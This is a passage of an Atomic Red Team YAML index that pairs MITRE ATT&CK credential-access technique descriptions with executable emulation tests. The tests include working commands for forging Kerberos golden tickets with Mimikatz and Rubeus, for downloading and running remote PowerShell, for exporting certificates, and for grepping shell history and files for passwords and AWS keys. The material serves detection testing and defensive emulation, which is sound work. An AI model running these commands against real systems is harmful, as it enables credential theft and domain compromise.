#{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt cleanup_command: 'rm -rf /tmp/GoAWSConsoleSpray ' name: sh elevation_required: false T1056.003: technique: modified: '2023-03-30T21:01:46.711Z' name: Web Portal Capture description: |- Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: collection - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: File monitoring may be used to detect changes to files in the Web directory for organization login pages that do not match with authorized updates to the Web server's content. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Modification' x_mitre_system_requirements: - An externally facing login portal is configured. type: attack-pattern id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e created: '2020-02-11T18:59:50.058Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1056/003 external_id: T1056.003 - source_name: Volexity Virtual Private Keylogging description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.' url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 spec_version: '2.1' atomic_tests: [] T1003.005: technique: modified: '2024-04-18T23:47:54.553Z' name: 'OS Credential Dumping: Cached Domain Credentials' description: "Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Ed Williams, Trustwave, SpiderLabs - Tim (Wadhwa-)Brown - Yves Yonan x_mitre_deprecated: false x_mitre_detection: |- Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis. Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Linux x_mitre_version: '1.1' x_mitre_data_sources: - 'Command: Command Execution' type: attack-pattern id: attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530 created: '2020-02-21T15:42:25.991Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1003/005 external_id: T1003.005 - source_name: PassLib mscache description: Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020. url: https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html - source_name: ired mscache description: Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020. url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials - source_name: Microsoft - Cached Creds description: Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020. url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11) - source_name: Powersploit description: PowerSploit. (n.d.). Retrieved December 4, 2014. url: https://github.com/mattifestation/PowerSploit - source_name: Brining MimiKatz to Unix description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021. url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1003.005 atomic_tests: - name: Cached Credential Dump via Cmdkey auto_generated_guid: 56506854-89d6-46a3-9804-b7fde90791f9 description: | List credentials currently stored on the host via the built-in Windows utility cmdkey.exe Credentials listed with Cmdkey only pertain to the current user Passwords will not be displayed once they are stored https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation supported_platforms: - windows executor: name: command_prompt elevation_required: false command: 'cmdkey /list ' T1558.001: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Itamar Mizrahi, Cymptom object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1 type: attack-pattern created: '2020-02-11T19:13:33.643Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1558.001 url: https://attack.mitre.org/techniques/T1558/001 - url: https://adsecurity.org/?p=1640 description: Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now More Golden. Retrieved December 1, 2017. source_name: AdSecurity Kerberos GT Aug 2015 - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017. source_name: CERT-EU Golden Ticket Protection - url: https://adsecurity.org/?p=1515 description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015. source_name: ADSecurity Detecting Forged Tickets - description: 'Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.' url: https://adsecurity.org/?p=483 source_name: ADSecurity Kerberos and KRBTGT - source_name: Stealthbits Detect PtT 2019 url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020. - source_name: Microsoft Kerberos Golden Ticket url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285 description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020. modified: '2022-04-25T14:00:00.188Z' name: 'Steal or Forge Kerberos Tickets: Golden Ticket' description: "Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation: ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation: Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n" x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Active Directory: Active Directory Credential Request' - 'Logon Session: Logon Session Metadata' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1558.001 atomic_tests: - name: Crafting Active Directory golden tickets with mimikatz auto_generated_guid: 9726592a-dabc-4d4d-81cd-44070008b3af description: | Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain. This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769). The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session. supported_platforms: - windows input_arguments: domain_sid: description: SID of the targeted domain, if you keep default it will automatically get the current domain SID type: string default: S-1-5-21-DEFAULT domain: description: Targeted Active Directory domain FQDN type: string default: "%userdnsdomain%" account: description: Account to impersonate type: string default: goldenticketfakeuser krbtgt_aes256_key: description: Krbtgt AES256 key (you will need to set to match your krbtgt key for your domain) type: string default: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 mimikatz_path: description: Mimikatz windows executable type: path default: PathToAtomicsFolder\..\ExternalPayloads\mimikatz\x64\mimikatz.exe dependency_executor_name: powershell dependencies: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nNew-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\" -ErrorAction Ignore -Force | Out-Null\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n" executor: name: powershell elevation_required: false command: "Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\n# get current domain SID if default was used\n$domain_sid = \"#{domain_sid}\"\nIf ($domain_sid -Match \"DEFAULT\") {\n # code from https://www.sevecek.com/EnglishPages/Lists/Posts/Post.aspx?ID=60\n \ $domain = gwmi Win32_ComputerSystem | Select -Expand Domain\n $krbtgtSID = (New-Object Security.Principal.NTAccount $domain\\krbtgt).Translate([Security.Principal.SecurityIdentifier]).Value\n \ $domain_sid = $krbtgtSID.SubString(0, $krbtgtSID.LastIndexOf('-'))\n}\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n echo Purge existing tickets and create golden ticket:\n klist purge\n #{mimikatz_path} \"kerberos::golden /domain:#{domain} /sid:DOMAIN_SID /aes256:#{krbtgt_aes256_key} /user:#{account} /ptt\" \"exit\"\n\n echo.\n echo Requesting SYSVOL:\n \ dir \\\\#{domain}\\SYSVOL\n \n echo.\n echo Tickets after requesting SYSVOL:\n klist\n\n echo.\n echo End of Golden Ticket attack\n)\n\"@ -Replace \"DOMAIN_SID\", $domain_sid | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Golden Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n" - name: Crafting Active Directory golden tickets with Rubeus auto_generated_guid: e42d33cd-205c-4acf-ab59-a9f38f6bad9c description: | Once the hash of the special krbtgt user is retrieved it is possible to craft Kerberos Ticket Granting Ticket impersonating any user in the Active Directory domain. This test crafts a Golden Ticket and then performs an SMB request with it for the SYSVOL share, thus triggering a service ticket request (event ID 4769). The generated ticket is injected in a new empty Windows session and discarded after, so it does not pollute the current Windows session. supported_platforms: - windows input_arguments: domaincontroller: description: Targeted Active Directory domain FQDN type: string default: $ENV:logonserver.TrimStart('\') + "." + "$ENV:userdnsdomain" account: description: Account to impersonate type: string default: "$ENV:username" krbtgt_aes256_key: description: Krbtgt AES256 key (you will need to set to match your krbtgt key for your domain) type: string default: b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 local_folder: description: Local path of Rubeus executable type: path default: "$Env:temp" local_executable: description: name of the rubeus executable type: string default: rubeus.exe rubeus_url: description: URL of Rubeus executable type: url default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually ' - description: 'Rubeus must exist ' prereq_command: 'if(Test-Path -Path #{local_folder}\#{local_executable}) {exit 0} else {exit 1} ' get_prereq_command: 'Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable} ' executor: name: powershell elevation_required: false command: "Remove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n\ncmd.exe /c \"#{local_folder}\\#{local_executable}\" golden /aes256:#{krbtgt_aes256_key} /ldap /user:#{account} /dc:$(#{domaincontroller}) /printcmd /outfile:golden\n$filename = (Get-ChildItem | ? {$_.Name.startswith(\"golden_\")} | Sort-Object -Descending -Property LastWriteTime | select -First 1).Name\n\n# create batch file with commands to run in a separate \"runas /netonly\" session\n# so we don't purge Kerberos ticket from the current Windows session\n# its output goes to golden.txt temp file, because we cannot capture \"runas /netonly\" output otherwise\n@\"\n>%TEMP%\\golden.txt 2>&1 (\n echo Purge existing tickets and create golden ticket:\n klist purge\n cd %temp%\n \ \"#{local_folder}\\#{local_executable}\" ptt /ticket:kirbifile\n\n echo.\n \ echo Requesting SYSVOL:\n dir \\\\$(#{domaincontroller})\\SYSVOL\n \n \ echo.\n echo Tickets after requesting SYSVOL:\n klist\n\n echo.\n echo End of Golden Ticket attack\n)\n\"@ -Replace \"kirbifile\", $filename | Out-File -Encoding OEM $env:TEMP\\golden.bat\n\n# run batch file in a new empty session (password and username do not matter)\necho \"foo\" | runas /netonly /user:fake \"$env:TEMP\\golden.bat\" | Out-Null\n\n# wait until the output file has logged the entire attack\ndo {\n Start-Sleep 1 # wait a bit so the output file has time to be created\n Get-Content -Path \"$env:TEMP\\golden.txt\" -Wait | ForEach-Object {\n if ($_ -match 'End of Golden Ticket attack') { break } \n }\n} while ($false) # dummy loop so that 'break' can be used\n\n# show output from new empty session\nGet-Content $env:TEMP\\golden.txt\n\n# cleanup temp files\nRemove-Item $env:TEMP\\golden.bat -ErrorAction Ignore\nRemove-Item $env:TEMP\\golden.txt -ErrorAction Ignore\n" T1649: technique: modified: '2023-05-09T14:00:00.188Z' name: Steal or Forge Authentication Certificates description: |- Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview) Authentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate’s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate’s subject alternative name (SAN) values define the certificate owner’s alternate names.(Citation: Medium Certified Pre Owned) Abusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts. Adversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as “golden” certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: '' x_mitre_platforms: - Windows - Linux - macOS - Azure AD x_mitre_is_subtechnique: false x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.1' x_mitre_contributors: - Tristan Bennett, Seamless Intelligence - Lee Christensen, SpecterOps - Thirumalai Natarajan, Mandiant x_mitre_data_sources: - 'Command: Command Execution' - 'Application Log: Application Log Content' - 'Active Directory: Active Directory Credential Request' - 'Active Directory: Active Directory Object Modification' - 'Windows Registry: Windows Registry Key Access' - 'File: File Access' - 'Logon Session: Logon Session Creation' type: attack-pattern id: attack-pattern--7de1f7ac-5d0c-4c9c-8873-627202205331 created: '2022-08-03T03:20:58.955Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1649 external_id: T1649 - source_name: GitHub GhostPack Certificates description: HarmJ0y. (2018, August 22). SharpDPAPI - Certificates. Retrieved August 2, 2022. url: https://github.com/GhostPack/SharpDPAPI#certificates - source_name: Microsoft AD CS Overview description: Microsoft. (2016, August 31). Active Directory Certificate Services Overview. Retrieved August 2, 2022. url: https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831740(v=ws.11) - source_name: Medium Certified Pre Owned description: Schroeder, W. (2021, June 17). Certified Pre-Owned. Retrieved August 2, 2022. url: https://posts.specterops.io/certified-pre-owned-d95910965cd2 - source_name: SpecterOps Certified Pre Owned description: Schroeder, W. & Christensen, L. (2021, June 22). Certified Pre-Owned - Abusing Active Directory Certificate Services. Retrieved August 2, 2022. url: https://web.archive.org/web/20220818094600/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf - source_name: O365 Blog Azure AD Device IDs description: Syynimaa, N. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved August 3, 2022. url: https://o365blog.com/post/deviceidentity/ - source_name: GitHub CertStealer description: TheWover. (2021, April 21). CertStealer. Retrieved August 2, 2022. url: https://github.com/TheWover/CertStealer - source_name: APT29 Deep Look at Credential Roaming description: 'Thibault Van Geluwe De Berlaere. (2022, November 8). They See Me Roaming: Following APT29 by Taking a Deeper Look at Windows Credential Roaming. Retrieved November 9, 2022.' url: https://www.mandiant.com/resources/blog/apt29-windows-credential-roaming object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1649 atomic_tests: - name: Staging Local Certificates via Export-Certificate auto_generated_guid: eb121494-82d1-4148-9e2b-e624e03fbf3d description: 'Export all user certificates and add to a compressed archive. ' supported_platforms: - windows executor: command: | $archive="$env:PUBLIC\T1649\atomic_certs.zip" $exfilpath="$env:PUBLIC\T1649\certs" Add-Type -assembly "system.io.compression.filesystem" Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore mkdir $exfilpath | Out-Null foreach ($cert in (gci Cert:\CurrentUser\My)) { Export-Certificate -Cert $cert -FilePath $exfilpath\$($cert.FriendlyName).cer} [io.compression.zipfile]::CreateFromDirectory($exfilpath, $archive) cleanup_command: | $exfilpath="$env:PUBLIC\T1649\certs" Remove-Item $(split-path $exfilpath) -Recurse -Force -ErrorAction Ignore name: powershell T1552.003: technique: x_mitre_platforms: - Linux - macOS x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3 type: attack-pattern created: '2020-02-04T13:02:11.685Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1552.003 url: https://attack.mitre.org/techniques/T1552/003 - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. source_name: External to DA, the OS X Way modified: '2022-05-11T14:00:00.188Z' name: 'Unsecured Credentials: Bash History' description: 'Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)' kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_detection: Monitoring when the user's .bash_history is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like cat ~/.bash_history. x_mitre_is_subtechnique: true x_mitre_version: '1.1' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Access' - 'Command: Command Execution' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1552.003 atomic_tests: - name: Search Through Bash History auto_generated_guid: 3cfde62b-7c33-4b26-a61e-755d6131c8ce description: 'Search through bash history for specifice commands we want to capture ' supported_platforms: - linux - macos input_arguments: output_file: description: Path where captured results will be placed type: path default: "~/loot.txt" bash_history_grep_args: description: grep arguments that filter out specific commands we want to capture type: path default: "-e '-p ' -e 'pass' -e 'ssh'" bash_history_filename: description: Path of the bash history file to capture type: path default: "~/.bash_history" executor: command: 'cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file} ' name: sh - name: Search Through sh History auto_generated_guid: d87d3b94-05b4-40f2-a80f-99864ffa6803 description: 'Search through sh history for specifice commands we want to capture ' supported_platforms: - linux input_arguments: output_file: description: Path where captured results will be placed type: path default: "~/loot.txt" sh_history_grep_args: description: grep arguments that filter out specific commands we want to capture type: path default: "-e '-p ' -e 'pass' -e 'ssh'" sh_history_filename: description: Path of the sh history file to capture type: path default: "~/.history" executor: command: 'cat #{sh_history_filename} | grep #{sh_history_grep_args} > #{output_file} ' name: sh T1552.001: technique: modified: '2024-04-15T21:33:00.213Z' name: 'Unsecured Credentials: Credentials In Files' description: |- Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).(Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.(Citation: SRD GPP) In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: credential-access x_mitre_contributors: - Rory McCune, Aqua Security - Jay Chen, Palo Alto Networks - Yossi Weizman, Azure Defender Research Team - Vishwas Manral, McAfee - Microsoft Threat Intelligence Center (MSTIC) x_mitre_deprecated: false x_mitre_detection: 'While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information.' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - IaaS - Linux - macOS - Containers x_mitre_version: '1.2' x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' - 'File: File Access' x_mitre_system_requirements: - Access to files type: attack-pattern id: attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc created: '2020-02-04T12:52:13.006Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1552/001 external_id: T1552.001 - source_name: CG 2014 description: CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014. url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html - source_name: Unit 42 Hildegard Malware description: 'Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021.' url: https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ - source_name: Unit 42 Unsecured Docker Daemons description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021. url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/ - source_name: Specter Ops - Cloud Credential Storage description: Maddalena, C.. (2018, September 12). Head in the Clouds. Retrieved October 4, 2019. url: https://posts.specterops.io/head-in-the-clouds-bd038bb69e48 - source_name: SRD GPP description: 'Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.' url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1552.001 atomic_tests: - name: Find AWS credentials auto_generated_guid: 2b93758e-a8d7-4e3b-bc7b-d3aa8d7ecb17 description: 'Find local AWS credentials from file, defaults to using / as the look path. ' supported_platforms: - macos - linux input_arguments: file_path: description: Path to search type: string default: "/" executor: command: 'find #{file_path} -name "credentials" -type f -path "*/.aws/*" 2>/dev/null ' name: sh - name: Extract Browser and System credentials with LaZagne auto_generated_guid: 9e507bb8-1d30-4e3b-a49b-cb5727d7ea79 description: "[LaZagne 